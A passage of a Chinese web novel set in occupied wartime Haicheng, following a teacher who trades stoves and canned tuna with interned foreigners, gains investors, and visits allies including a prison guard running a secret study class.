蒋四成走在春妮身边,忽然感慨道:“我还记得那一年,我第一次跟老师你去买煤,跟在那些大学生后边,也不晓得个怕。” 春妮的思绪顿时被他拉回到几年前:“是啊,一展眼这么多年,又换了一茬新人。咱们当年的那些人中,竟只剩下了你我还守在这。我记得那一年,区明比你现在还小一点吧?” 那年他们去郊外的张庄买私矿的煤,意外遇到当年一同逃水难出来的涂铁柱,竟也过了那么些年。 可惜张庄的小煤矿挖了两年之后是真的完全枯竭了,否则今年这样的严寒,春妮也不至于如此挠头,为了寻找烧火取暖的燃料,几乎翻遍了整个海城。 蒋四成此时却在后悔自己刚刚脱口而出的那句话。 工厂撤往内地和难民大量涌入,使得海城的工作岗位急速缩水。本来他们学校在被占领之前,就在经常组织学生到后方求学工作,甚至是上战场杀敌。这些组织活动大部分都是由当年在顾老师的几十个活跃分子分担的,他们从中受到的感召也最多,走的也最多。倭国人封了学校之后,剩下的学生一怒之下,全都报名跟着去了敌后。 他刚刚说的区明,年前消息传过来,说是在倭军的一次扫荡活动中,为了不连累村民,主动引开倭军,死在了他们的枪口之下。 他现在说起这些旧事,不是哪壶不开提哪壶? 春妮袖着手跟着学生们一起,挤进刘光汉家不到十个平房的小房间,听他们背书打牌打发时间,几圈麻将打下来,很快到了深夜宵禁时分。 电台里,今天的天气仍是零下。几个学生推开门,地上已经覆上了一层干干的霜色。 这几天是数九寒天里难得的晴天,湿润的海风从南边吹过来,将将触地地便凝成了银霜,将幽暗安静的弄堂映得恍如白昼。人站在这白得反光的地上,也跟着亮晃晃的,好不打眼睛。 “这……”学生们下意识去看春妮。 蒋四成打开院门走出去,见众人不动弹,他回头盯着众人:“出来啊,怎么不动了?” 好像,没什么事的样子…… 学生们胆子一个个大起来,你推我我推你,到底沿着墙根溜出了院子。 春妮走在最后一个,她望着这一溜串的男孩子跟小猫崽子似的衔着尾巴踮脚猫腰,不由微笑。她仿佛看到了那一年的区明,李铁柱,罗阿水…… 他们中的有些人已经不在,有些人为了生活和意气出走海城,不知现如今生活在华国的哪个角落,是好是歹,偶有音讯传回来的,也只有寥寥的那一两人。 这些小猫崽子,星星点点散落在这片饱经战火的土地深处,但愿他们能好吧。 蓝眼睛贝格从楼上吊下一条钩子,让学生们将铁桶和杂物绑在上面吊了回去。 第一次交易顺利完成,除了贝格收桶时,桶檐磕着窗檐,发出一声巨大的躁声,让所有人吓了一大跳之外,并没有其他不好的事发生。 而他们第一次的收益—— “龙洋,英国大洋,铜角子,法币,好多法币,我数数……哎,你们来看,这是什么钱,我怎么没见过?” “这群洋鬼子该不会拿□□糊弄的我们吧?”学生们立刻炸了锅。 “我看看,这是西班牙的十字盾徽银币,这个银币年代可是有点久了,少说有几百年,现在少见了,古董啊。”春妮拿手指在银币上轻轻一弹,丢回了钱箱。 “是吗?难怪我们都没见过呢。顾老师,您再看看这个。” “这是人像柱银币,也是外国货币,也是西班牙的。”春妮也来了兴致,在钱堆里翻找一通,又找出好几枚制式不同的外国钱币,一一让学生们都学着辨认,最后笑道:“这群洋人手里还真有些真东西,看看这些钱,都是真正的银币,美钞,现如今的海城市场上,有几个人舍得真拿银币出来交易?记得好好跟他们做生意,说不准还有你们捡漏的机会。” 数钱的学生却抹了抹胸口,道:“我宁愿一手钱一手货,什么都一次交割清楚。不然收个钱都跟进了万国博览似的,又要估又要鉴。眼睛不利,哪天吃了大亏,我找谁哭去。” “就是说嘛,外国钱再香,也及不上咱们本国自己印的钱。这上边印的啥字都不认识,我们咋知道它值多少钱,能换多少东西呢?你们说是不是?” “那行,我给你一百块法币,你把这块银洋换给我。”轰然应好中,一个学 生冷不丁这么说道。 这下大家对着那家伙又笑起来:“你小子真会算,谁不知道法币现在跟草纸似的,一百块法币,买得到一张草纸吗?” “那你们还抱怨,”被起哄的学生笑嘻嘻地摊手:“没听顾老师说,这块什么十字银币还是古董呢。哪天去当铺里约个价,怎么也比草纸值钱吧。” 学生们又七嘴八舌,说不是那个意思,最后问顾老师:“您知道市面上为什么会有这么多货币吗?” 民国市面上的币制之混乱,流传的币种之多,细数起来,几十种是有的。不在这个时代的人会难以想象,买东西要怎么花钱这个简单问题都深为这个年代的普通人所苦。 就像今天这样,只是做了一小单生意,营利几何迟迟算不出,这还是轻的。更有掺镍币,掺铅币等私铸假|币大肆流行,一不留神就会中招。 春妮以前听尹校长说到过一些相关见解,此刻倒真有了些感言:“因为我们的中央货币体系被倭国人用经济战打垮了。我才晓得,他们为什么用军票兑换我们手上的法币,原来他们拿在咱们这换来的法币去外国银行兑换美元,法郎,用它们再购买军事设备,再到咱们的矿区换取矿产。现在你们知道南城政府发行的军票为什么用不出去了吧?” “因为倭国人压根没把这钱留给我们?所谓的军票,就是一个骗局?”半晌,才有学生出声。 春妮望向窗外,天光透出了一线白,天快亮了。 而她,也该把洋火桶原材料的事提上日程了。 第209章 209 材料 贝格当场把学生们多收来的两只洋火桶全买了下来。 这几天正是天寒地冻, 一年中最冷的几天。等过了这段时间,洋火桶的需求肯定会降下不少,这事宜早不宜迟。 这样盘算一通, 春妮心里立刻有了紧迫感。 就算如今倭国人商店有售少量的洋铁皮, 使得这东西不再像前些年那样稀缺,但仍是不那么好买的。 以春妮今时今日的人脉,也直到从闸口路回来,又过了一天,她才得了个消息。 这消息的来源于一个众人都没料到的人——程连玖。 说起来,这位来自京城的京戏名角当年头一次到海城跑外码,正逢学校到处推广麻将凉席。因为在一场戏里帮忙给麻将凉席打过一次免费广告, 这位京剧大师从此与学校结缘。程连玖回到京城后,方校长他们为了维系这层关系, 但凡学校凉席玩具出了什么新品,没忘记向京城寄送一份。但当时程老板如日中天,光是等着送他礼的人都排得出二里地,也不在乎这点礼物。方校长的凉席寄过去, 得到个回信都难。最多看在学校的份上,正式将《贵妃醉酒》那一折戏的道具正式改成了他们学校出品的凉席, 京城的市场因此打开了不少。 如此三四年后,程连玖因为不肯折腰赴会,在京城得罪了倭方一位高官, 待不下去,最后碾转到了海城隐居下来。春妮得到消息赶去拜会, 恰逢程老板初到海城忙乱之中,春妮领着学生帮他安顿了新家,又见他一家老幼女眷, 怕他被附近的地痞惦记,便叫住在附近的学生时不时上门看看,帮着搬搬抬抬,做些粗重活计,两边算是开始了正式来往。 这回春妮要找洋铁皮的材料,本着广撒网的目的,想到程老板戏迷中三教九流中的人不少,说不定他会有什么消息,便在路过他家时捎带脚去探访了一下。 不想程老板听完她的来意,竟真想到了一个人:“你想要什么样的?我先说好,他那洋铁皮囤的年头有些久,怕是品质不怎么好。” “只要价钱合适,什么都好说,我不挑。” 春妮把洋火桶的事跟他略提了一嘴,问:“您还认识卖五金的老板?” “嗨,哪是啊。是我的一个师弟,早年来海城唱戏,攒了些身家。不是那年倭国人打进来?他学人囤货,什么奶粉洋铁皮丝袜攒了一屋子,连个睡觉的地方都没有。偏这傻子还当是在咱们京城,东西搁几年坏不了。也不想想,他住的那地方有多潮,囤在手里好几年,到没钱用了才舍得卖一点,好好的东西给搁坏了。” 说起这事,程老板又是无奈又是好笑。 这年头有门路的海城人什么布匹粮食,多少会囤些东西在家,自用也好,跟人换生活用品也好都方便。但把自家囤成库房的,春妮也没听说过,不由担心道:“他不会死要价吧?” “那不能,他老婆气得天天在家哭,闹得不得了。我瞧他也有些着急,前几天找销路都问到了我头上。正好你来找我,这不就合上了?”说着穿上长衫戴好帽子就要带她出门。 海城居大不易,程老板出来为避祸,家里只有妻妾并几个没成年的孩子,徒子徒孙们一个没带。又沉寂好几年只出不进,家里各项用度大减。家里除了两个老妈子,只放了个听差在门房上。如今想做点事,只好亲历亲为。 他唤听差叫来两辆黄包车,跟春妮一起坐上,放车夫跑上苏河的桥,穿过几条街巷,敲开了原先华界一条弄堂中的石库门。 来开门的是一个挽圆髻,面色有些愁苦的中年妇人:“师哥,您怎么来了?不是,瞧我说什么胡话,您真是稀客,里边请。” “我带了个人来看看你家的洋铁皮,你还有多少?老四呢?”程老板开门见山。 “他出门去了。还有的都搁在这儿了,您先来看看。” “他不是前些日子还到我家说,戏院里不景气,好些日子没活干?他现在能去哪?” “那不还是得找活干吗?” 趁两人说话,春妮跟在后头打量房子。 海城的石库门,格局大差不差,跟她以前租的那套差不多。程老板的师弟租在二楼的前楼,坐北朝南,按理该明亮通透,整间房子却跟亭子间似的,乌昏昏的没点热乎气。只因它打齐窗户的整间房至少六成空间累累堆着东西,屋里满当当的全是铁锈味和不知什么东西发出来的甜腻霉烂味。两个孩子就在这支楞得到处都是的货物上翻跟斗,被中年妇人不时喝斥。 程老板跟中年妇人寒喧得差不多,转向春妮:“怎么样?有没有看中的?” 春妮就手掂掂,有些为难:“你这些洋铁皮太薄太软,怕是用不了。” “怎么用不了呢?这可是上好的白铁皮。”中年妇人着急地拎起一块,上手敲得梆梆响:“您瞧这声多脆响。” “得啦得啦,”程老板摆手,哭笑不得:“你以为这是咱们戏班子敲大锣,越响越好?真的不合适?”最后一句,问的是春妮。 春妮将铁皮在手里折来折去地寻思,中年妇人站在边上,随着她沉默的时间越来越长,渐渐坐立不安。 这时,楼板一阵急促的脚步声,外面冲进来个人:“他娘,我找到活干啦——师哥,您怎么来啦?这位是?” 这家的主人向四爷回来了。 几个人重新见过,又说了一遍来意,向四爷招呼婆娘给客人沏茶,问春妮:“我冒昧问一句,您买铁皮打算干什么使的?” “做洋火桶。” “哎哟,这都转过年入春了,再也冷不到几天,您现做洋火桶还来——”向四爷话没说完,叫老婆在腰上拧了一下,没再说下去,眼里却是有些担忧。 春妮:“我既买你的货,就有法子卖出去,反倒是你这个铁皮不大合用。” “那怕什么,您不就是担心铁皮太薄?您买了东西后到铁号里淬一遍,两张一叠,再不够再叠一张,不就厚了?”向四爷倒是个脑子活泛的。 “可这样一来,我要多出加工费,淬火的火耗,废品率也得算进去,质量肯定也比不上厚铁皮,价格还得再降,七算八算的,这就不老少了。” “这么办吧,您要是能把我这些货都要了,我给您算便宜点,不能叫您吃亏。”洋铁皮的价比他囤货前少说翻了十倍以上,就是让点利,他也不亏。向四爷这话说得很轻松。 春妮抻在这半天,等的就是他这句话。向四爷做事爽气,很得她的好感,这一屋的洋铁皮,粗估下来能做一二百洋火桶,卖过这一阵子是足够了的,遂点头应下。两人讲了个彼此都能接受的价,春妮便打算先出门,找几个扛大包的来拉货。 却叫向四爷掏出几个铜角子,抢先唤来自己儿子:“顺子,去弄堂口找几个人来帮忙搬货。” 又招呼春妮:“再坐会儿吧,我们家这块儿人头熟,保准找的是正经干活的老实人,不会毛手毛脚。唉对了,您说您做的洋火桶,这会儿能卖给谁?” 春妮看了眼程老板,后者向她点点头。这会儿海城很多人私下都干些不好说的买卖,她这事也不稀奇,低声道:“洋人——” 向四爷“嘶”地一声,冲她竖起大拇指:“您可真是敢想敢做,那您一次做这么些桶子,钱财可还趁手?” 春妮皱眉,这话就问得过界了。 向四爷解释说:“我意思是,您若是有钱财上的问题,我也可以帮忙想想办法。” 春妮不至于做不起几个洋火桶,但做生意嘛,能不用自己的钱,就不用自己的钱。她立刻顺杆往上爬,问向四爷:“那你能挪多少出来给我?利息又怎么算?” “那就得看您做的生意有多大了。” 春妮想了想,问道:“我跟向四爷是头一回见面,你不怕我拿了你的钱跑了?” 向四爷哈哈笑起来:“要是旁人,我肯定心里要打些鼓。但顾小姐一来是我师哥带来的,他这个人我知道,怕麻烦,轻易不肯沾这些事,他肯带着您来,至少对您的品格是放得下心的。再者您手底下这么一大摊子家业,何必来骗我这点小钱?怎么样?咱们这生意能不能接着再做下去?” 刚刚几人聊天,向四爷已经知道春妮现在负责一所流动学校的运营。春妮也从程连玖那得知,他的这位师弟是武生出身,只是唱戏的功夫稀松,在旧京城里排不上号,只好跑到海宁城来混饭吃。前些日子他们戏院惹上麻烦,连累他也丢了差事,刚刚才找到一份在电影公司做武行的工作。 在现在的海城,各行各业都不景气,唯有舞厅和电影蒸蒸日上,一天比一天火爆,是众人眼里的金饭碗。向四爷这时候能钻营进去,也是一号人物。他在海城经营的时间比程老板时间长,跟他搭上线,说不定自己也能拓开个新局面。 “多的不说,一二百块现大洋,我没问题。” 春妮怦然心动,转向程老板:“这事,您看能不能做?” 程老板却吭哧两声,问春妮:“你那个生意,一二百块够不够?” 春妮一时没闹懂他的意思,有点懵逼地看着他。 “要是不够的话,我这里还有一些钱,也投给你。”他应该没跟人谈过这些,出口很艰难:“怎,怎么样?” 春妮:“……”找个材料,顺便还拉来了投资? 第210章 210 罐头 春妮能理解程老板的心情。 即便他身家不斐, 是旧京,乃至整个华国都数得上的名角,也撑不住只出不进, 一家九口人在海城这种地方的消费。 最最要紧的是, 谁也不知道这种日子什么时候是个头,多少手里得攥点好留后路。程老板暂时不想再出来唱戏,另外找出路赚钱贴补些家用在情在理。 “除了唱戏,我什么都不会干。要不是有老四起头,我也不好意思跟你张这个口。”程老板话头打开,再说下去就不难了。 “你的能耐我放心。我就是手里有两个钱,也经不住什么东西都一天天地涨价, 还不如拿点出来交到你手上给盘盘。你也不用有负担,做生意的风险我有数, 反正我这些钱搁在手里,说不定哪天就变成了废纸。” 春妮既然能答应向四爷,带着程老板一起更不在话下。 不过在商言商,她给法租界公寓方打了个电话, 让在公寓里留守上课的蒋四成带着人过来。在等待的间隙,跟程老板师兄弟两个到楼下的咖啡馆坐了坐。 主要是春妮大概说说自己目前的生意和对未来的规划, 以及师兄弟两个商量个数,看各自能拿出来多少。到铁皮全部拉上骡子板车,整装待发时, 合作的细节也敲定得差不多了。 人生大事无非在吃穿住行这四样,其中吃绝对占最大头。贝格也提过, 他们那里除了炉子,最缺的永远都是食物。一般的米面他们有其他的办法弄到,他主要想问春妮要肉蛋奶。 贝格跟春妮许诺, 只要她弄得到这些东西,尽管报价。只要价钱不太离谱,他什么都收。春妮得了他这句话,正愁拿多少钱出来进货。恰好程老板师兄弟两人,帮她解决了这个问题。 单是他兄弟二人拿出来的钱,支持他们月内的交易量是够了。再有,向四爷手里正好囤了一批奶粉,也是她需要的。奶粉囤的时间有些久,肯定是过了期的。但这个时候到处断航断路,奶粉又一律是洋货,不霉不臭,有的喝就不错了,哪有他们挑剔的份。 春妮干脆拿他那些货折算了一个相当实惠的价,也算他入了一点股。 除此之外,他还跟春妮签订了一个为期三个月的借贷合同。程老板一看就是不差钱的主,开口投了三百块钱给她,让她随便做点什么生意,按月给他分红,又推说自己不懂做生意,旁的全部委托给了向四爷操心。 有了两个金主的注资,春妮空间里那些金条又能安稳地多躺一阵子了。毕竟这时候纸币不如银元,银元不如美金,美金不如真正的金子。不是急等着用钱,拿金子出来当钱用,那是败家! 向四爷着实会囤货,连带蒋四成带来的车在内,一共拉了四车,才将他那大半个屋子的洋铁皮给全部出清。 别看这些洋铁皮被向家人囤得像破烂,春妮却不敢大意。约定好几人再碰面的时间,急匆匆跟在这些学生们后面赶了回去。 因为倭国人进行车辆管制,这些东西只能用骡车板车这些人力车来拉。华界这一带三步一个赌馆,五步一个私窠子,乱得很。没人看着,走不出多远,就得出事故。 好在同在华界,苏河南岸边的铁号就可以加工铁皮炉子。春妮跟在队伍后边,看几个男孩子将几车铁皮安全地送进铁号,没有多停留,转身搭电车去了常文远在英租界的淮扬菜馆子。 常文远馆子每天鱼参鲍肚高档食材不断,肉蛋奶更不消说,他铁定知道在哪弄到这些东西。 这会儿正是饭点,馆子里人来人往,隔老远就闻得到红烧狮子头的酱香味。 春妮一般不在人多的时候来,常文远知道她肯定有事,丢下满堂的客人,让厨房单炒了个炒饭端上楼,两人边吃边聊。 “你要买肉?什么肉都行?” “怎么了?”他话语中似乎有种跃然于上的兴奋。 “没什么,”他摇摇头,笑出声:“真是巧了,我正好知道有一批货,还在犯愁怎么把它拿下来。” “这有什么愁不愁的?只要是吃的,能拿多少就拿多少啊。是什么货?有多少?” “是一批金枪鱼罐头,预计不少于五吨。” “这可真是不少啊。”春妮兴奋起来:“这种时候谁会有这么多鱼罐头?” 常文远低头扒了一口饭。 春妮顿时回过味来:“你是说……那边?”她小指往窗外一点,那个方向,正是倭军物资课办事的地点。 常文远的脑袋微不可见地轻轻一点。 春妮的声音立刻压到最低:“这么些罐头,价钱必然极高,普通人可没几个吃得起,有钱人需要的也有限。你若是全部吃下,他肯定会怀疑你东西的去向。” 两人所说的“他”,指的自然是他们新近搭上的倭国后勤军官近藤。 对倭军内部 的贪腐风气,两人早有耳闻。但直到有机会接近相关人员,两人才明白,他们之前所听说过的,不过是管中窥豹,太小儿科了。 近藤负责管理倭方驻海城海军的后勤供应,作为整个倭国军方物资供应链最微小的一环,常文远这个月已经从他手上拿到不下于三千件倭军常服靴子,还有几百个水壶,十吨左右的粮食,以及不好统计数量的药品,营养品和少许石油柴油等能源。这些不涉及军火,但都是倭军常用消耗物资。 之所以他们的交易没涉及到军火,除了常文远生性谨慎之外,也是因为近藤的物资二课主要管理的是生活用品,偶尔经手一些军火,一般也只是找个库房搁两天过道手,为了这一点东西冒险并不值得。 不过近藤如此疯狂倒卖军资,让常文远和春妮为之心惊之余,也在想办法从他手里尽可能多地拿到东西。 全面战争开始了七年多,华国军方从刚开始被倭军火力压得毫无反抗余地,到有零星战役胜利,再到现在战事胶着,打得有来有回。别的地方不敢说,至少在华国,可以看到战争的进展不止不像倭国人预计的那样顺利,反而他们的颓势渐渐有所显露。 以常文远对他们近距离的观察来看,倭军内部恐怕有相当的一群人,对这场战争的胜利已经产生了怀疑。那么,近藤的行为也就有了解释。 “所以我说你来得正好。”常文远三两口扒完饭,示意春妮跟自己离开:“我原本正在想,以什么理由拿下这批金枪鱼罐头,你倒是给我提供了一个不错的思路。” 春妮琢磨片刻,想起一个漏洞:“军用物资一般有特殊标识。每个难民安置点都有倭军把守,万一被他们看见那些罐头,会不会有麻烦?” “你顾虑的有道理,但问题不大。”两人快速穿越里弄,已经回到了自己的家。常文远边换衣服边解释:“近藤隶属于海军,维护海城治安的倭军是陆军。他们即使看守难民,也只是站在门口不许出入,到不了生活区。而且倭国海陆军的关系你知道的,完全是水火不相容。罐头上有海军的标识,被他们看见,即使向上反应,陆军高层也只会嘲笑海军物资管理问题,巴不得他们出更多的麻烦,不可能通报给他们。” 这点春妮倒是赞同,倭国海陆军的矛盾之大,到了陆军宁愿自行建造潜艇,海军宁愿自行建造坦克,也绝不使用对方武器的程度。甚至为了军事竞争,两边兵工厂相同用途的武器,连一颗螺丝钉都无法共用。传说他们为此浪费的资源,足可以再打造一支军队。 “这批鱼罐头不便宜吧?要不你少拿一些先送到后方,那群洋人的需求,我再想其他办法。” “咱们不知道近藤的关系网,你最好照我说的做,免得他事后追查发现不对。”常文远顿了顿,加重语气:“咱们的战士因为缺乏营养,很多患上了夜盲症,如果夜里需要行军,会很不方便。多吃海鱼可以缓解治疗这种疾病,所以这批货,我们必须弄到手,而且是能弄到多少就弄到多少。” “你要是害怕有风险,咱们可以拿到东西除去包装之后再卖给那些洋人。”常文远又说。 “算了,那些洋人精得很,罐头鱼除去包装放不了几天。他们一定会趁这个机会疯狂压价,搞不好我还要倒贴钱。”春妮想了想,还是拒绝了:“何况城里哪没有倭国人的影子?那么大一批货,又是油汪汪的罐头鱼,不要包装的事没解决,反而拆开东西,香味惊动邻居,引来人的注意。倭国人现在到处悬赏捉拿‘反叛党’,总会有人饿极了干出不体面的事。大不了到时候,东西卖出去之前,我让学生们把盒子放炉子里熏一熏,破坏掉外观的特殊标记,不让人看出来源就是了。” “也好。地方快到了,老规矩,分头行动吧。” 210-220 第211章 211 微光 医治夜盲症, 补充点维生素A,增加营养就差不多了,原本不用这么麻烦。问题在于, 全华国所有能生产维生素的厂家倒闭的倒闭, 搬迁的搬迁,就算他们愿意出大价钱来收购,也找不到地方出售。 好在近藤的这批金枪鱼罐头因为是军用物资,罐头盒用的是马口铁,每罐鱼肉净含量足有五百克。它的用料兼顾了扎实和耐摔打易储存等优点,将它运送到最需要的地方完全不需要另外包装。 重要的是,这个年代的金枪鱼算是倭国本土鱼种, 不怎么稀罕,并不像后世那样差点被吃得绝了种。倭国海军又不差钱, 加上它的来路不正,因而常文远最终以每罐八十美分,整件十六块美金的价格,一共花了八千块美金拿下了这批总量在五百件, 总重量为五吨的罐头金枪鱼。换算成银元,每罐罐头购买价至少有一块半, 是这个年代食物中实打实的奢侈品。 春妮分到了五十件,也就是整整半吨的罐头,其余四百五十件由常文远分批从秘密渠道转运送到了内地。 这一千罐金枪鱼罐头使春妮迅速打开了那群高鼻子的洋人市场, 她忘不了贝格头一次打开罐头盒,闻到咸香的鱼味时, 竟忍不住狠狠咽了口口水,动情地说:“亚达月的好运终于来了!”说着,流下了两行眼泪。 不排除贝格的这两行眼泪是为了搏取春妮的同情, 但这近三万的洋人被圈在一条小小的里弄中,每天不许开火,不许私自洗澡,不许私下里来往,像犯人一样被集中看管起来,每天早晚只有煮得稀糊烂的大锅饭吃,这是事实。 这些人中的绝大多数人远渡重洋,辗转多国才成功踏上海城的土地。有些国家放人离境的条件是必须上交所有财产,浑身携带的财物不能超过十块钱,所以,其实住在这里的绝大部分人都买不起这个罐头。 但贝格一点也不发愁,如果不是实在没地方放,他恨不得一口气收下春妮手里所有的存货。 不过不提他的财力问题,这么大一笔货物,其他人也不可能干看着贝格一个人发财。 光是春妮以前的老房东,吉拉太太一家人就对他们的生意眼热得不得了。他们店铺的面包柜台早就被搬走撤了下来,塞满了跟他们一样远到而来的难民。每天定时定额分发的食物是一定不够的,他们跟其他数万的同胞一样,急需一份工作填饱孩子们空空的胃囊。春妮跟他们一家是老交情,又指着他们照顾米妮祖孙两个,有这样的好事,肯定不可能不带上他们。 所以贝格并没有太多的筹码同春妮谈条件,他可怜巴巴地跟她磨了半天,也只在这一晚多得到了三罐。 彼时,贝格为了方便跟春妮这边联络,特意把房间从临街明亮的二楼转移到了另一栋靠里一些的一楼堂屋。如此,春妮几个跟他再联络传递物品时,就不必再冒着在倭国士兵眼皮底下的风险进行了。 不过春妮没打算将所有罐头一次性拿出来,这罐头油水厚足,又便于储存,即使不卖给洋人,拿到外面也是难得一见的好东西,送人自用都很是拿得出手。 她先想办法送了几罐进方校长他们的监狱,再给王阿进母子送一份,不由想起方师母和几个师弟。 方校长被判入 狱,学校又被查封之后,方师母一家人失去了栖身地,跟着学生们搬了几回家。小师弟桂宝不适应这样颠沛流离的日子,发过两次高烧之后。她不得不留下大儿子大女儿,带着其他孩子回了老家,已经有近两年的时间了。 桂香国中读完后,在方校长出事之前嫁给了学校的一个老师,生完孩子至今也没能工作。方师母回老家前,她执意留下大弟弟带在身边照顾,目前也只能勉强说饿不死。春妮最近一次听到方师母的消息,还是在桂香孩子的满月时她去探望的时候,她给刚出生的外孙子捎了双虎头鞋。 至于方师母的近况,桂香生完孩子之后,主要靠偶尔进城的亲戚带信报平安。到现在为止,也有三个多月没信儿了。桂香上回见春妮,还惦记着把孩子放在婆母家里两天,跟丈夫回一趟家探望。只是这种世道,身边人都不赞成她孤身回乡,这件心事便一直耽搁到现在。 正好这阵子忙过开学招生,生意也开始走上轨道,春妮便打算亲自走一趟,去方师母家里看看情况。 她问桂香要来方师母乡下家里的地址,连着这段日子攒下的各种食物用品一起打了个大包袱。因为东西多得过于扎眼,为免这一路岗哨盘查的麻烦,她给毛二娃捎了个信,请他骑着边三轮带自己到乡下走一程。 毛二娃很爽快地答应了,听说是方校长家的事,他也带了份礼物,拎起来跟春妮显摆:“闻到了吗?糖霜柿饼,桂宝那小子一准爱吃。” 春妮扒开牛皮纸:“这是火晶柿饼?你在哪买的?这东西可没地方卖吧。”火晶柿产自北边,那块地方可没有沦陷。 毛二娃笑道:“还能是谁?是牢里一个犯人家属送我的。”见春妮皱眉,他忙道:“妹子你可别想岔了,那犯人前阵子病得要死,我给他跟我们川上狱长美言了几句,放了出去。不晓得咋回事,叫他找到我家,托他闺女给我送了这袋柿饼,我可没敲诈人家。” 春妮这才松开了眉头,想想还是不放心:“你们那边是黑狱,私底下放人会不会有麻烦?” “要说以前那肯定是不敢,但现在咱们那好长时间没拨东西下来了。川上狱长去找了好几次,也不见有效,他总不能真把这一个监狱的人全饿死吧?反正也没啥人管,川上就让我放风,叫犯人们有门路的各自想办法走他关系,他把人放出去,过阵子再报个病亡。只要出去的人不乱说,这有谁会知道?” 这会子天气已经回暖,毛二娃好长时间没跟春妮见面,有意跟妹子多说会儿话,便放慢了车速,任由小风在脸上微微吹着。 “妹儿,你上回让我多跟狱长说说咱们华国人的故事还真有点用。我给狱长讲岳将军,讲杨家将的故事,他挺喜欢听。我还从犯人里找了原先当跌打郎中的,没事给他按两手。他现在腰也没跟先前弓得跟虾似的,腿脚也快了不少。” “挺好,想办法给他找些事做,叫他开心,他没功夫来折腾犯人,就是你的功德了。” 毛二娃却有更大的梦想:“还是差点意思,要是他一天天别总在狱里转悠就好了。要不是看他腿不好总折腾人,我才懒得让人给他治。” 春妮笑:“他是狱长,你让他别在狱里转悠,还想叫他去哪?” 毛二娃就叹气:“是说啊。可他巡狱巡多了,万一咱们的学习班叫他发现,那可怎么办?” 毛二娃说的学习班,还是春妮被关进去那年起的头。起先她为了跟狱警拉拉关系,答应教毛二娃跟他几个要好些的狱警朋友识字,替他们读信读报。春妮出狱后,邀请毛二娃到学校就读,他也没忘记那几个朋友,每回去学里学到东西,再回来讲给朋友听。慢慢的,这个学习班越办越大,不止他原来的朋友加入了进来,其他楼层一些不熟悉的也加入了进来。 再到后来,学习班的开办对象不再只限于狱警,一些犯人也加入了进来。规模越办越大,而教授的知识也不再局限于读书识字,光春妮知道的,就有一些人体要穴讲解,常用药材辨别等。 但到了这一步,毛二娃又开始担心有一天会惹出事。 “你要实在是怕,就先关一段时间再说。” 毛二娃想也不想地摇头:“兴许不会那么倒霉呢。” “不想关那就少收几个人,别弄得声势那么大也行。” “那,那,妹子你说,我把谁减了去?” 春妮看不得他这副瞻前顾后,顾此失彼的作态,不快道:“你那么大个人了,该怎么做还要我一步步手把手地教你?我问你,你现在就指着这一个活吃饭,活没了你是要饿死还是咋地?” 毛二娃忙赔笑说:“妹子你别生气。我就是随便说说,也没那么严重。” 春妮信他才有鬼。这人以前被十几个人怼在墙角打,哭都是躲起来哭的。今天一路没消停念叨,准保是哪里露出了大不妥,他心里太害怕,兜不住了。 “那你跟我说,你到底是咋想的。”春妮虎着脸,打算趁这点时间好好跟他掰掰道理。 毛二娃吱唔半天,才道:“我,我就是心里不落忍。” 他小心翼翼看了眼春妮:“那些犯人好些都有家有室。如今陷在这,指不定家里怎么天塌地动。我这里多做一点,他们就多些指望,万一他们有机会跑出去,说不准就能用上我教的这些东西呢?老天爷总要给咱留个指望,万一有个万一呢,你说是不是?” 一忽儿风大了起来,春妮眯起眼去看他。 澄明微暖的春日里,他黑亮黑亮的眼睛里闪着微光。 第212章 212 炊烟 出老城厢后, 再往东头的土路开个二十来分钟的车,就是方师母现在住的村子。 方校长以前说过,在租界兴旺起来前, 老城厢附近才是海城真正的中心。因为老城厢人烟稠, 连带着他们那一带也跟着兴旺。方家就是在那个时候,靠在镇上的两间质卖铺子置办下百亩良田,成为了一方小地主。 可惜好景不长,先是洋人打进来,在老城西头擦边找皇帝要了两片土地圈起来自治,海城的城中心就此往西偏移。再又是兵灾匪灾轮番,朝廷割地赔款, 年年加税没个消停。到方校长成婚那年,祖上几代积攒下来的土地已经被卖得只剩下了二三十亩。 再后来, 每到学校需要资金周转,又拿不出钱时,方校长实在筹不到钱只好回家典地卖地。来来回回,又卖了近二十亩。他们最初那套油印机的钢板钱, 就是打这来的。 学校草创之初,很多人都想不明白, 方校长性情能力都不是上选,又从来没教过新式小学,为何执起教鞭没多久, 便成为了一校之长。直到校长入狱,师母却拿不出一分钱为他打点, 众人才知道,原来为了办这个学校,校长毁家纾难, 几乎将祖宗家业都填了进去。有这样的决心和志气办学,区区一个难民小学校长,他自然当得。 而这样的人,在海城,在如今的华国,又何止于方校长一个? 战事开始之后,在春妮还没来海城之前,她家乡邻县一名县长为了抗战,变卖所有家产买来枪支弹药,拉起一支队伍上了山,跟倭人周旋。倭国人为了逼他出山投降,抓住他的母亲威胁他,结果他七十多岁的老母亲,一头碰死在了倭人的刀尖上!【注】 这位县长的事传到春妮村里,使得村人对倭人的凶残有了更加深切的恐惧之余,也促使她提早几天收拾行李,却迎头赶上了那场灭世般的洪水。 春妮过去以为,自己走上抗倭这条路,是大势所归,如今细细梳理下来,更早的时候,如鲁县长这样的人其实已经在她心里埋下了种子。 照春妮的估算,方师母现在手中耕种的土地,不会超过十亩。家里没有了顶梁柱,她身边又养着三个正长身体的半大小子,若是再有倭国人时不时的袭扰征税,恐怕也很难吃上一顿饱饭。 也不知道她走时,自己悄悄塞进她包袱里的钱用没用完。 老县城的这个方向,春妮以前最远只来过城隍庙。上回来,还是被倭国人撵出学校后,她娘和她奶奶的牌位不好跟着她颠沛流离,后头又同常文远合住,更不好在家里贡奉先人,不得不出笔钱,将牌位暂寄在了这间庙里。 开上出城的路前,春妮把毛二娃薅下车,路上行人看见他们这标志性的土黄色涂装三轮车,当即纷纷低头缩肩,闪避不迭。春妮两个无心多理,一路畅行无阻直冲到正殿,偌大的庙宇里已经只剩下他们两个人,春妮让他当着城隍爷爷的面跟她说实话。 毛二娃到底胆子小,当着威严怒 目的城隍老爷面前,声气儿总算虚下来:“也没啥。我们狱长上回去部里打听消息,说是从我们监狱里出来的犯人里,没拉到地方先跑了十几个人,部里骂我们对犯人不尽心,借着这个扣发我们的物资。川上回来砸了一套细瓷茶具,又抽了我们一顿,说要严查。就,就这,没别的了。” “还就这?就这?”这人身边没一个能出主意的,形势已经危急到这一步,竟然还心存侥幸! 照毛二娃的说法,他办学习班搞得这么大,川崎未必不知道。可他懒得管,双方互有默契,跟损害了自己利益,对方还头铁顶风作案,那是两码事。 